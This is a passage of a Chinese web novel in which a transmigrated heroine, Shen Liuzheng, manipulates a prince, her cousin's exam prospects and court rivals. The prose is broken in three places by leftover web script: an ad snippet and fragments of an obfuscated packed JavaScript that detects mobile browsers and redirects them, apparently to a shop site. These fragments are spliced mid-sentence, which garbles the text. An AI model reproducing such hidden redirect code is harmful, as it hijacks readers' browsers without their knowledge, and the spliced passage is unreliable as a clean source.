前世自从沈流筝母亲裴氏离世,沈裴两家的关系便不复从前。尤其在得知沈流筝被放置到田庄,两家的关系说是恶化也不为过。 那时,沈流筝的舅舅想将人接走却遭到阻拦,裴弘简此次进京科考,也想来看看自家表妹如今过得可好。 若是仍过得不如意,他们裴家便是彻底撕破脸也要将人带走。 上一世的裴弘简被拒之门外,沈流筝起初都没见到这个表哥。 而这次,却意外被当成了座上宾款待。 裴弘简的马车停在沈府外,小厮匆匆进去传话,过了许久都没见来人迎接。正思量间,却看到大管家嘴角挂着谄媚笑意,躬身将人迎进去。 管家带路绕过长廊,正对面就是前厅。 沈明礼在前厅坐着,瞧见人影便起身相迎,笑呵呵道:“裴小公子远道而来,定要累坏了,快快进来坐。” 他之所以热情待客,是要在外人眼中营造疼惜爱女的人设,落得好名声,最好是传到宫里,方便日后多寻些好处。 沈明礼算盘打得响亮,裴弘简眸光染着警惕。 裴弘简玉冠束发,长身玉立,清贵中还带着几丝书生气。 他躬身行礼:“沈侍郎的厚意,晚辈心领了。” 沈明礼搀扶:“裴小公子客气,都是自家人,无需说这些见外的话。” 郭氏本就心里不快,待客也热络不起来,裴家的人她是一个都不喜欢。她亲眼见到沈明礼不同寻常的行为,白眼都要翻到天上去,心里不停嘀咕。 沈明礼冷冷看了她一眼。 郭氏老实端坐。 端上来的茶水冒着热气,青色茶叶打着旋,裴弘简未动分毫,只四下观望。 看样子是在找人。 沈明礼自然明白,忙解释:“裴小公子,流筝她啊,一听到自家表哥来了,兴奋的不行,这会儿正从海棠苑往这边走。” 话音刚落,一名身着浅青色罗裙少女走近,肩上是白色狐皮披肩,露出张巴掌大的可爱脸蛋。 “表哥。”沈流筝声音软糯。 长相没有多大变化,可性子却不同。 裴弘简平静看着她,一时未开口。 沈流筝坐到他身旁的椅子上,将茶水往他手里递去:“不知表哥可还记得,幼时我们一起玩耍过的……秋千?” 海棠苑确实有座秋千,是沈流筝的母亲亲自动手做的。 幼时裴弘简曾来过沈府,曾经见过,不过等姑姑过世后,秋千也不复存在。 裴弘简沉沉唤了声“流筝表妹”。 郭氏听到海棠苑早年的那座秋千,心里莫名咯噔一声,像是做错的事被翻旧账,不敢往两人那边看。 而沈明礼听到秋千,却是得意。 看来略施小计便让流筝和裴府不计前嫌,更加爱戴尊重他这个父亲。 沈明礼吩咐管家拿出些银票,让沈流筝带着裴弘简在京师城内好好逛逛。 沈流筝应下,甜甜道:“父亲放心,我定会好好招待表哥。” 两人出府,沈流筝直接带人去了湖边的茶馆。 茶馆清幽,微风拂面 湖边清净,只有一个白胡子老者在垂钓,裴弘简不问为何要来此地,只管跟着来。 “表哥此次入京赶考,可安排好了住处?” 沈流筝明知故,率先打破沉寂。 路无劫早已将一切查清楚,裴弘简在青石巷落脚,沈流筝觉得那是个好地方。 裴弘简没有回应,而是看着她郑重问:“现在已经出了府,你亲口告诉我,沈府的那些人当真没有为难于你?” 沈流筝感受着杯子温润触感,目光懵懂地摇摇头:“没有为难,我在沈府过得挺舒服的。” 她说的是实话。 可裴弘简却不信:“若是你过得好,我们才能放心。我此次入京,一为赶考,二为的便是将你接回青州。” 这样,姑姑也能放心些。 裴弘简怕沈流筝伤心,这话没有说。 “你今日不想说,那便不说。”裴弘简补充,“你在沈府若是碰上令你不快的事,只管告诉我。” “好。”沈流筝应下。 这怕是没机会,她在在沈府暂时还不会遇上不快之事。 透过窗户朝外看,恰好看到老者钓鱼的身影,寂寥孤独。 沈流筝笑着问裴弘简:“表哥可会钓鱼?” 裴弘简不明所以,却也点头。 青州多水,那里的人更爱垂钓。沈流筝的舅舅酷爱垂钓,时常带着裴弘简一道。 两人走去湖边。 沈流筝不知从哪里变出一根鱼竿,还有竹条编成的座椅,她将东西放在裴弘简身旁。 “表哥,我今日呢,就想吃表哥亲手钓的鱼。而且,还需要钓到鱼之后与那位老者交换。” “可能你听不到我在说什么,不过只要表哥做到了,我便如实告知表哥一切。” 裴弘简毫不犹豫:“我答应你。” 沈流筝意外他答应的迅速,夸赞道:“表哥真好。” 裴弘简坐好后便将鱼钩抛进湖中,不再言语。 沈流筝满意离开,裴弘简不曾不回头,只专注瞧着湖面动静。 回去的马车上,路无劫问:“他当真就这么听话?” 沈流筝:“表哥他读的是圣贤书,既然许诺,哪有不遵守的道理。” 沈流筝闭眼,想着来年的春闱放榜。 前一世的裴弘简准备数月,初次考试的试卷却被大理寺收走,又等了一年,才被慧眼识别中了状元。 而祸首则是郭府的人,因出言侮辱过世的裴夫人和沈流筝,被裴弘简打的找不着北,连门牙都被打掉了一颗。 郭府人气急,暗地找了大理寺的人将裴弘简的试卷非法扣下,人也被关押了半月。 此时,裴弘简不知道的是,他身旁坐着的这位爱钓鱼的老者,便是来年春闱的主考官,也是他最尊敬的夫子欧阳阙。 欧阳阙爱垂钓,但每次都不见鱼。 典型的人菜瘾大。 他今日会记住裴弘简的名字,即便再遇上类似的事情,也能将他的试卷捞上来。若是一眼看中了裴弘简的才华,接下来的仕途更顺畅几分。 沈流筝将思绪转到宫里。 “冷宫那边如何了?” 路无劫知道她问的是冷宫中的萧和颐,那个眼瞧着面黄肌瘦的可怜小公主。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“放心,饿不着也冻不着,吃的饭菜是专门从清风楼带过去的。” 清风楼,京师城最大的酒楼。 沈流筝暗地里关照着萧和颐,将萧时寂可能的助力都拦下。 此时冷宫中的萧和颐拿着温热的馒头,瞧着桌上佳肴却皱紧眉头,不敢张口吃。 往日送来的饭菜饭都发馊,甚至冒出一股怪味。今日的饭菜为何如此不同? 下毒。 萧和颐脑海中闪过两个字。 她掰开馒头碎屑扔在地上,有爬过的老鼠吃掉,却没死。 奇怪。 她再看馒头时,中央已经出现一张小纸条,展开纸条上面只有短短四个字“非宫中人”。 还补上了一个小小的风筝图样。 萧和颐立刻记起了前几日碰到的女子样貌,原来是她送来的饭菜。 在查验没毒之后,萧和颐唤来母妃,将碗筷耐心放到她手里,两人一起吃饭。 久违的饭菜香在唇齿间漫开,萧和颐顿住,她看着对面已经疯掉的母妃,沉声道:“母妃,你放心。我一定会接你出去。” 这是自己一直想做,也一直在做的事。 “接我?陛下来接我?”母妃楚氏突然发疯,将手里东西扔在地上,四处张望。 萧和颐握着碗筷的指尖泛白:“闭嘴!不许再提他!” 萧和颐压抑着嗓音,周身氛围却冰冷。疯妃楚氏仿佛也知道自己做错了事,开始掏出怀中铜镜瞧起来。 “母妃,你知道我多想念从前的你吗?皇帝的宠爱就这么重要吗,男女情爱就这么重要吗?母妃,还请你瞧瞧你现在的样子……”萧和颐说不下去,抬头忍着泪水不落下。 她不愿意成为母妃这样的人,一辈子被冷宫所困在小小天地,独自发疯,她想要的从来不是这些。 她想要的,是欺负过她的人眼中的恐惧、害怕以及绝望。 萧和颐会抓住一切可以的机会。 天机处、皇子、或者是任何可能帮到她的人,即便有万分之一的几率她也不放弃。 只要可以,她便要带母妃离开冷宫。 沈流筝和萧时寂都知道,上一世的萧和颐凭借天机处的推算,一跃成为皇帝的贵人,当即被封为昭华公主。 昭华公主在皇帝身旁说话很管用,为萧时寂的夺嫡之路出了很多力。 只不过,萧时寂近日在筹划西南灾荒,无暇顾及冷宫之事。 天机处算出,西南地处将有灾荒。 上一世,他在这件事上输给了萧时焕,让萧时焕被一举册封为齐王,这次不能再重演。 愣神间,看到沈流筝走过来。 正头疼的萧时寂立刻换了一副模样,温柔道:“怎么不告知我一声就来了?” 沈流筝:“殿下的意思是我不能来?” “当然不是,你知道的。”萧时寂瞧着她眼中的狡黠,不由得失笑,“流筝来找我,我高兴都来不及。” 桌案上放着本治灾荒的书,沈流筝将书拿起来。 萧时寂没有阻止。 沈流筝的手在字里行间滑动,再抬头却换了含笑轻语:“殿下,对于灾荒之事我有一计,殿下可想听听?” 13. 第 13 章 萧时寂只记得前世萧时焕提出了一项举措,有效解决了灾荒后灾民的安置问题,被父皇和群臣大加赞赏。 可如今,萧时寂记不起具体是什么法子,所以在这里翻书查找。 他这会儿听到沈流筝有想法,只着想听听看,并不抱什么希望。 “好,那流筝说说看,我认真听着。” 沈流筝将书本抵在下巴处,一双眼眸亮晶晶的,将所想之法缓缓道来,而随着她的讲述,萧时寂的眼睛逐渐亮起来。 流筝说的正是前世萧时焕用的法子。 他全想起来了。 不等沈流筝说完,萧时寂便激动抚上她的双肩,欣喜道:“流筝,多谢你费心为我出谋划策,若是此次能成,父皇他必定……不,是必定能让众多灾民免受苦难。” “流筝,你从来都是这么心地善良。” 沈流筝一双杏眼眨了眨,轻声道:“真的吗?若是我说的真的有用,可就太好了。” “何止是好。” 萧时寂眼带笑意,绕到桌案前,急忙提笔将方才方法详细记录下来。 他没有察觉到,身前的沈流筝换了副神情,全然不见方才的懵懂无辜,而是透出一股冷冷的注视。 此时,大皇子萧时焕府上的朱红大门被叩响,一封信被箭钉在府门外。 管家吓得腿都软了,急忙去报信。 信中记载的恰是救灾之策,还有萧时寂会走的路线。 西南重镇灾荒,萧时寂急忙赶赴,两日时间便打点好京师城的一切。 马车驶向城门,路过清风楼时,萧时寂挑开车帘看去。 手下人说,流筝今日在此用膳。 可是没瞧见想见的人,一个熟悉却又陌生的身影映入眼帘。 路无劫? 太久没有他的消息,他怎么在这里? “停车。” 萧时寂迈入清风楼。 上次手下来报见到路无劫的身影,他便亲自赶赴,可最终也没见到人影。 他如今到底在跟着谁? 萧时寂还是想将路无劫招入麾下,他想的是只差一个机会。 脚步踏在木阶上发出声响,萧时寂到了清风楼三楼,路无劫的身影彻底消失在这里。 隔着晃动的白色珠帘,传来沈流筝意外的询问声。 “是殿下吗?” 沈流筝望了过来。 萧时寂稍稍回神,朝着沈流筝走去。 沈流筝眼尾含着笑意,歪着头问:“殿下是特意来寻我的?不过殿下怎么知道我在这里,难不成是找人跟踪我啊?” 这话踩到萧时寂的神经。 “不是,恰巧路过而已。”萧时寂不愿承认,“不过流筝,我今日便要离些日子,你放心,我会尽早把事情处理好,必定赶在冬宴前回来。” 他还筹划着带沈流筝去宫里参加冬宴。 沈流筝面露忧色:“路途遥远,殿下一路当心,千万照顾好自己。” 话这样说,心里却想着最好不能回来。 可萧时寂不知,只觉得温暖。他此时才发觉沈流筝对面坐着位及冠男子,面容清俊。 萧时寂大致猜出了他的身份,道:“想必你便是流筝那位从青州而来的表哥吧,她曾与我讲过。” 裴弘简起身拱手:“裴某见过七殿下。” 萧时寂颔首:“近日我不在京师的日子,还有劳你照顾流筝。” 萧时寂没有久留。 裴弘简瞧着远去的背影,又转头看了眼吃的正香的沈流筝,忽然问:“这就是你说的七殿下?” “嗯。” “你心悦于他?” “你觉得呢?”沈流筝咬着筷子看他,笑了声:“要说的话我说完了,以后不必担心我,也不用管那么多,只管专心备考就成。” 沈流筝将沈府上下的态度换了种说法讲给裴弘简。 人才放心下来。 只是裴弘简仍有些惊讶,不明白这个表妹可爱的外表下藏着这样的性子。 还有这位七殿下,沈流筝对他的态度明明是寻常少女的心动模样,但他总隐隐觉得怪怪的。 裴弘简一时语塞。 沈流筝反问起来他青石巷住的如何,还有上次碰上的那位垂钓老者。 裴弘简:“说来也巧,那位钓鱼的老者正巧也住在青石巷。我们一见如故,交谈甚欢,我总觉得他让人莫名的熟悉。” 有些像他读从前那些书的感觉。 沈流筝点点头:“熟悉好啊熟悉好。” 先前她之所以说青石巷是个好地方,是因为欧阳阙也住在那里。 人随着年龄增长,总是会怀念年少时的过往经历。或许欧阳阙看着裴弘简,就让他想起年轻的自己。 …… 萧时寂去往西南途中并不如想象中顺利,遭遇了比往日还多的埋伏刺杀,有一剑还划在了胸口上,留下了深深疤痕。 他猜测行凶之人应当是萧时焕的母妃齐贵妃。 可刺杀之事不是最让他意外的,更意外的是萧时焕竟也提早出发前往西南,而且行的路线比前世更快。 在萧时焕原定的计划中,他是要比萧时焕早日到达西南重镇,等安置好一切,萧时焕即便到了也毫无用武之地。 可这下,因为路上的重重阻碍,再加上萧时焕意外的迅捷,两人竟差不多时间入城。 萧时寂心里像是堵了块石头,心中不快。 可他明白,自己拥有前世的记忆仍占优势,他能清楚地摸清灾区的情形,还有各位任用官员的好坏,哪几位是要抓的贪官他都牢牢记得。 他会受到百姓爱戴。 眼下他最想要的,就是尽快处理好这些事宜,随后快快回京,将治理的结果带到父皇面前,获得称赞嘉奖,这样能比前世的进度提早些。 萧时寂突然想到,前世父皇态度对他一直是不冷不热,直到成为昭华公主的萧和颐进言开始,父皇对他的态度明显好转。 “萧和颐……” 这三个字在萧时寂嘴里打转,差点忘了他这个妹妹。 等萧时寂想起这个重要人物,系统面板突然金光大作。 于是沈流筝开始受苦。 京师城内。 骆席玉拉着沈流筝来泛舟,湖面吹来的风让人神清气爽,她四周张望,还没注意到身后人的异常。 坐着的沈流筝心口传来一阵难以言说的疼痛,剧烈难忍。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879255|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 密密麻麻的针尖似的痛处浮上心头,她看向眼前的骆席玉,咬着牙问:“骆席玉,你可会凫水?” “会啊,怎么了?” 骆席玉好奇沈流筝为什么忽然这样问,难不成是想看自己表演? 嘿嘿,那也成。 不过身后人却没了声音。 骆席玉转头看到眼前景象开始惊慌失措,看着沈流筝的痛苦模样,慌不择言,“会!我会!但是我会不会有啥关系,你现在这么难受,我能干点啥?” “会就好。” 骆席玉开始呜呜哭,两只手不知道该往哪里放,催促着船夫往岸边去。 沈流筝看了眼路无劫在岸边,之后不知道何时才能找到自己,一切那就看命。 原先骆席玉不明白沈流筝什么意思,但很快就明白了。 原本平静无比的湖面忽地刮起一阵狂风,两人坐的船开始摇摇欲坠。骆席玉拼命上前搀扶住沈流筝,但整只船整个都翻了过去。 一切消失在湖水中。 原本在湖边的路无劫察觉到这边动静,立刻站起身,跳入湖中朝这边游过来。 一股接一股狂浪很快席卷了沈流筝的身子,再也看不见踪影。 骆席玉整个人浮在湖面上,换着气,四处寻找却瞧不见沈流筝的身影。 “沈流筝——” 她大声呼叫,却没什么用。 沈流筝浑身痛得厉害,用尽所有力气往水面上游,却还是被一股巨浪砸下,终于昏迷过去 她闭着眼睛,不知被浪潮裹挟到何处。 …… 咕嘟咕嘟的药罐冒着香气,室内的药香传入鼻尖。 躺在床上的沈流筝手指动弹,复杂照看的侍女见状轻轻呀了一声,随后迈着轻快步子跑到外面,停在一座别致水亭前。 她两手放在嘴边,朝里面喊:“大人,你带回来的那名女子已经醒了,要不你亲自去看看?” 亭中的琴声戛然而止。 说完,侍女也不管里面回复,转过身又迈着轻巧步子离开。 沈流筝醒来发现自己处在一个彻底陌生的地方,身上也早已换了件干净衣裳。 她走到外面,入目满是金色花朵,风一吹,闪出波光粼粼的金光,耀眼极了。 这种花她没有在陆地见过。 这里是一座小岛。 沈流筝仰头,头顶有白鹤飞过,远处流水从天际落下,倒真像是片仙外之境。 楼阁飞檐,长廊环绕,沈流筝走了一路却没见到个人影。 忽然,有悠扬琴声响起。 沈流筝停下脚步,回头看向琴声传来的地方,直接朝那边走去。 水亭四周飘起浅色纱帐,其中的人影若隐若现,沈流筝看清亭中之人的面容。 一曲终了,身穿水蓝色长袍的闻人珏走出来,站在了离她不远的地方。 “你为何救我?”沈流筝开口问。 闻言,闻人珏狭长的眉眼扫来,似是不染一丝凡尘之欲,淡漠如水。 见人不答话,沈流筝挑起含笑眉梢:“怎么,难道国师大人想说救人一命,胜造七级浮屠?” 对于面前之人,顺手的搭救之情,她是不信的。 14. 第 14 章 闻人珏查过沈流筝的一切,所以他好奇。 沈流筝从田庄归来为何能从沈家翻身,现在身后又得了许多助力。更令人不解的是,为何她对萧时寂喜欢感激,而是厌恶憎恨以至于频频阻碍他行事。 风铃谷曾有预言,有一颗帝星会在皇宫的西北角落升起,师父派不同的人辅佐诸位皇子,而选中七皇子的人最多。 可是突然间,帝星蒙尘,竟有了暗淡的趋势。 有人在阻碍他夺嫡的脚步。 沈流筝长得甜美无害,看着毫无攻击力,旁人不会把许多事联想到她身上。 可闻人珏注意到了。 昨日泛舟之时,原本风平浪静的湖面忽起狂风,船上的沈流筝被卷到湖底,又随着巨浪的裹挟一路漂流。 闻人珏将人救下。 这座小岛极其隐蔽,寻常人不知道也进不来。 身后的纱帐飘逸。 听完沈流筝的话,闻人珏眉眼依旧淡漠,不过嘴角染了丝笑意。 “你与萧时寂有仇。” 闻人珏不是询问,而是陈述。 沈流筝换了身粉色衣裳,衣袖上带着流苏,适合这个年龄少女的灵动可爱。 她仅仅是站着便很难不让人心动,一双清澈杏眼弯起来,微微歪头似是疑惑问:“国师大人怎么说些胡话,让人听不懂。” 她想听听闻人珏还能说些什么。 关于这眼前之人,书中的直接记载内容不多,连现身的次数也不多,更多的是天机处在明处,他在暗处操控。 天机处,或许也是萧时寂的帮手。 那么闻人珏呢,之后是否会站在萧时寂的身后? 沈流筝不确定。 闻人珏见沈流筝矢口否认,也不生气,道:“既然你说救你是有所谋,那下面我说的话,你可要接上。” 他列举了沈流筝回京后做过的事,几乎件件都不利于萧时寂,包括但不限于提前带走路无劫,和这次透漏闻人珏前往西南重镇的路线。 这家伙真是算命的? 这么清楚。 沈流筝听着,脸上笑意不减,眉眼的弧度出奇的好看。 可莫名的,两人周身似乎涌起一股敌对的味道来。 沈流筝额间的碎发吹动,平静的望向闻人珏,道:“国师大人说的这些话,如果传到萧时寂的耳中,你说他是信你,还是信我。” 随即想到什么,沈流筝又笑:“也对,他谁都不信,只信他自己。” “你为何如此会恨萧时寂?” “我不恨他,我的想法很简单,只想让他死而已。” 没有什么隐瞒的必要,沈流筝干脆把心里的话说出来。 “你要问的我说了,那该我来问了。大周朝万人之上的国师大人,你与谢家,到底是何种关系呢?” 闻人珏眼底划过一股惊诧。 看来是猜对了。 前朝便已覆灭的百年望族谢家,与闻人珏还真有关系。 对于这本书,沈流筝捋清所有人的关系,试图找到所有关键点。闻人珏看似置身事外,实则在每一件事上都推进了剧情。 将事情变得混乱不堪。 而此次见到闻人珏的反应,更是进一步验证了她的想法。 “所以,不止我与宫里的人有仇,你也有。”沈流筝轻描淡写地说出她的结论。 周身一切都安静下来。 闻人珏眯起眼睛,细细盯着她的脸,想要看清每她眼中一丝一毫情绪的波动。 “你不怕我杀了你?” 沈流筝抬脚走近,几乎贴在了闻人珏的对面,她仰头眨眨眼问:“那国师大人,你舍得杀了我吗?” 小岛孤寂,即便想传信也传不出去,闻人珏或许真能杀了她。 可这又如何说得准呢? 她毕竟是从末世穿来的。 良久,闻人珏垂下眼眸,终于笑了,似有雪山融化晃了人眼。 “沈姑娘着实有趣。” “多谢国师大人夸奖。” 海面吹来的风,将人粉色衣摆吹起。两人站在高高的拱桥之上,头顶飞来白色仙鹤围绕。 沈流筝心胸畅怀,忽然开口:“想与我合作,那就等到冬宴,到那时让我看看你的本领。” 她看向闻人珏:“我这个人最大的毛病便是厌蠢。” …… 沈流筝次日便离开小岛。 快到岸边,瞧见一个熟悉身影,黑色玄衣显眼,只是挺拔身姿好像是瘦了些。 路无劫得了消息便早早赶来等着,双眼下浮起青色,看起来憔悴许多,不知这几日是怎么过的。 沈流筝眉头不由得皱起来。 “你……” 路无劫仔细打量一番沈流筝,没有受伤,脸色红润,一点事都没有。确保人没事,他转身便挑开车帘上了马车,静默不语。 沈流筝耸耸肩。 两人在马车上相视而坐,路无劫依旧闷声不吭,将下巴挡在衣领里,可眼圈的憔悴让人无法忽视。 “几日不见,你怎么变得这么憔悴了,这可不像你。你原来如此担心我?”沈流筝调侃。 按照路无劫以往的性子,必定像个好奇宝宝一般问东问西,安静便是反常。 那日沈流筝消失在湖面以后,路无劫疯了一般往泛舟的方向游过去。他一次又一次潜入水中,想把人找出来,可每次都是徒劳。 他走遍了湖边所有可能角落。 活不见人,死不见尸。 他不甘心。 身为侍卫,既然拿了钱,自然要护卫人的安全。 脑中念头不断驱使他,两个日夜没有合眼,直至今早收到了消息,说人会在这里出现。 他当街抢了匹马奔来,还好见到了一个完好无损的沈流筝。 路无劫的心彻底落地。 到了海棠苑,沈流筝从匣子中掏出一些银票,直接塞到路无劫的怀中。 “你做什么?”路无劫被她的举动意外,这个月的银钱已经给过了,再给钱要做什么,难不成是要让他离开? 路无劫认为这次是自己的过错,可他却有点不想走。 沈流筝姿态更强硬:“你应得的银票,辛苦费,不支持退款。” 路无劫虽然没太懂她说的几个字眼,但也大致能理解在说什么,看着银票嘴角浮出憋不住的笑意。 …… 西南灾情逐渐安置下来,各镇恢复生机。萧时寂已坐上了返回京师的马车,只想着尽快回到宫里回禀。 可等人回了京师,才发现大皇子萧时焕的信件早已快马加鞭送到宫里。 萧时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890723|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂走到殿外,听到皇帝和群臣接连不停的夸赞声,坐在殿中的大皇子萧时焕一脸谦逊,回忆着灾情的治理。 等萧时寂进到殿中,群臣的声音低下去,却响起低声讨论,皇帝身旁坐着的齐贵妃得意极了,仰着下巴挑衅地看向来人。 大皇子眼中含笑:“这次前往西南,还多亏了七弟帮忙,许多事才能顺利进行,不然,我今日怕是不能坐在这里。” 大皇子的这番话又为他赢得了赞扬。 “大皇子说得对。”皇帝连连点头,眼神和蔼,转头看着殿中站着的萧时寂,“七皇子,你这趟前往也帮助了你大哥许多,不错,这次确实辛苦你了。” 齐贵妃眼中的笑意藏不住:“是啊,可得是多亏了七殿下的帮忙。” 不然,他的孩儿一切怎么能如此顺利呢。 一下子,功劳主要落到了大皇子身上,而萧时寂只是顺手帮忙而已。 萧时寂眼底的震惊清晰可见。 怎么会是这样的结果? 他做的事桩桩件件都变成了他萧时焕的功劳,是谁时刻掌握着西南的情报,将信息传到宫里,还精准无误。 齐贵妃身后有何人指点? 前世的结果没有变化,皇帝当场封了大皇子为齐王,获得了爵位。 萧时焕封王,除了齐贵妃,最高兴的人莫过于孟丞相。丞相府府中,孟丞相捋着胡须摇头笑:“好啊,好啊,老夫没有看错人。” 孟朝颜路过听到消息,心里先是欣喜,随后又涌起股悲伤。 此时,天上乌云密布,即将要下雨,也正如她的心情一般,蒙着层薄薄忧愁。 雨水很快从屋檐落下,淅淅沥沥的响声让人难过,形成一张看不清的水幕。 不行,她要去找他。 孟朝颜冲进雨幕,听不到身后的呼叫。她什么都不想,只冲往萧时寂的府邸,直至找到那棵芭蕉树。 而树下站着的人,身上早已落满雨水。 孟朝颜心痛不已。 他从来没变,小时候偷偷难过时就会来这棵树下。 孟朝颜走上前,脸上早已布满雨水,她也不在意,走到萧时寂身后,轻轻用手环住他的腰身,泪水混着雨水一起,早已分不清。 “时寂,我来陪着你。” 孟朝颜的声音温柔,仿佛能抚慰人心。萧时寂终于动容,回身将她抱住,两人深情相拥。 不久后,管家将热气腾腾的姜茶送进书房。 萧时寂看着孟朝颜擦干的发丝,眼神含着柔光。他亲手用勺子给孟朝颜喂着姜茶,吹了吹气才将勺子伸过去,柔声道:“来,慢点喝。” “好。”孟朝颜眼睛不眨一下地看着萧时寂,仿佛她此刻是最幸福的女子。 可很快,萧时寂接下来的话打破了这份美好静谧。 “朝颜,你可知萧时焕最近可找了什么帮手。” 孟朝颜猛地抬头看他。 萧时寂并不着急,而是将握着的勺子放在瓷碗里,声音落寞:“我只是问问看,毕竟他现在已经是齐王,而我……终是比不上大哥。” 见人这幅样子,孟朝颜又心疼起来,有些为难道:“时寂你放心,我会帮你查清楚。” 萧时寂将碗放下,立即将她的手紧紧握住,深情不已:“朝颜……你还是同从前一般……” 15. 第 15 章 孟朝颜回府,细长的眉头微微蹙起,神情明显带着心事。瞧见早早等人回来的孟丞相,眼神闪躲。 孟丞相在朝堂上阅人无数,一眼便看出端倪,开口叫人停下。 “站住。朝颜,方才你不顾仪态冲入雨中,如此匆忙,是去了哪里,又是去找谁呢?” 孟朝颜闭口不答。 孟丞相冷哼一声,将手中茶盏摔在桌上。即便不说,他也知晓那人是谁,脸色不悦。 “朝颜,为父一向是如何告诫你的?行事要三思后行,你如此,要我如何面对齐王殿下?” “父亲……”孟朝颜思绪混乱,她闭了闭眼,“我已经是齐王殿下的人,我做的事都有思量。可是七殿下,我也不能置之不顾。” 她明白不应该,但却无法控制自己。 “你……罢了罢了,为父说的话也都不管用了,你的事我做不了主了。”孟丞相叹气摇头。 但凡是有关萧时寂之事,一向乖巧的朝颜也会顶撞。 孟丞相猛地咳嗽起来,孟朝颜心下一紧,急忙倒了杯茶水,抚上他的背安慰:“父亲放心,女儿不会做出对齐王殿下不利之事,女儿背后一直都是孟府,女儿绝不会忘。” 自从孟朝颜与齐王定下婚约,萧时寂黯然离京,两人便从没有过温情。而今日书房的独处,让二人仿佛又回到从前的时光。 孟朝颜舍不得。 舍不得齐王妃甚至是未来皇后的位置,可也舍不得萧时寂。她会为萧时寂查一些事情,可不能阻拦齐王向上。 一想到能帮到时寂,孟朝颜心里升起股得意。她能为时寂做的,远比沈府那个沈流筝做得多。 看吧,最能帮到时寂的人还是自己。 …… 萧时寂从西南归来,没如愿得到皇帝的奖赏,却也不是全无收获。 西南重镇掌权的西南王爷穆行烈意外被萧时寂所救,两人有书信来往,后续应当会成为插在西南的一把利剑。 瞧瞧,这就是男主强大的光环。 沈府,海棠苑内。 沈流筝懒懒地倚在桌案前,单手托腮,另一只手有一下没一下地轻叩桌案。 桌案上铺着张京师城舆图,上面细细描绘出城中大大小小的街道,甚至连带着周边的山峦河流,还有东南方向那座几乎不可见的小岛。 沈流筝几乎要把这图给盯出个洞来。 傍晚微风转凉,天色早已变暗。 沈流筝那张巴掌大的脸庞被柔软的白色绒毛围住,脸色红润,只是神情透出些苦恼,显出少见的愁容。 她揉了揉太阳穴,轻啧一声。 舆图上小岛的位置神秘且隐蔽,位置极佳,也是她刚标出来的。 天机处,以修炼丹药之名在岛上修建宫殿。这件事,除了宫里那几位没什么人知晓,皇帝给了闻人珏极大的自由,还派了高手守卫。 若日后闻人珏是个麻烦,沈流筝想要上岛,或者从岛上回来不再被动,那便要建船。 可这是个大工程。 她虽然懂得其中技术,可想真正造出个符合要求的船,太多东西都欠缺,日后要在城中慢慢寻找手艺好的木匠工人。 提到闻人珏,脑中忽地浮现那张冷冰冰的脸。 一月之后便是宫宴,沈流筝好奇闻人珏接下来的打算,到那时会呈现什么东西给众人呢,又拿什么东西给她看呢? 都有些迫不及待了。 路无劫头上带着斗笠,双手抱臂站在窗外,瞥了一眼桌案前女子的面容。沈流筝眼中流光溢彩的思考模样,让路无劫竟失了神。 他缓缓将视线挪到一边,突然道:“你不会凫水,我教你如何?” 沈流筝用一种奇怪的眼神看他,却只说不用。路无劫一噎,没想到这么快遭到拒绝。 沈流筝:“我会凫水。” 路无劫意外,上次湖中遇险时,很快见不到她在湖面上的身影。即使是从骆席玉事后的描述来看,也无法推断出她会凫水。 忽然,他脑中闪出沈流筝满头大汗的模样,那一次,也是突然像是中毒般,浑身没了力气。 那这次…… 沈流筝也没对任何人解释此事。 路无劫没有继续问下去,却在心里暗自决定,不会再让她陷入危险之中。 桌案角落散落着几张木工图纸,路无劫看懂了,询问:“你想造船?” “嗯。”沈流筝托腮看他,眼睛稍稍眯起:“你懂造船之事?” 路无劫:“略懂。” 沈流筝眼中闪过意外。 路无劫嘴角溢出一丝笑意。 “小时候为了躲开仇人的追杀,我都会躲在船上,对于造船之事略有了解。”他向沈流筝许诺,“回头我帮你寻些木匠师傅。” 路无劫那段暗无天日的时光在船上度过,船上的人对于造船木工这些事情自然懂得多,时常手把手教他。路无劫自小聪慧,学得很快。 话还没说完,沈流筝已经隔着窗户,将几张崭新银票塞在他手里,眉眼弯弯:“那就有劳路公子了。” 路无劫低头用手扶了扶斗笠,将怀中带回来的东西放在桌案上,解释道:“对了,这是萧和颐让我捎给你的。” 接着,路无劫顺带讲了讲萧和颐的近况,冷宫变化很大。 精致匣子里放着一串手链,琉璃缀着碎玉。沈流筝把东西拿起来看了看,烛光下的琉璃通透精美,转动间,闪着绚丽光芒。 这是贡品。 “太后送她的东西,她就这么轻易送给我?”沈流筝有些意外。 路无劫却不这么觉得。 若不是她,萧和颐眼下还只能饿着肚子,受着宫人的欺辱,眼下的境况不知比最初好转了多少倍。 沈流筝将手链放好,隔窗遥遥望向宫里的方向。 或许萧时寂已经在勾勒朝中局势,即将到了动用天机处的时候,还有后宫这颗棋子,他大抵也要开始挪动。 此时,冷宫中的萧和颐还不知道她已经被摆在棋盘之上。 疯妃情况好转,用了沈流筝带来的药膳,清醒的时间变长许多,会亲手为女儿做许多有趣的玩意儿。 两人很珍惜相处的时光。 萧和颐变了很多,不仅身量长高很多,脸庞也逐渐有了红 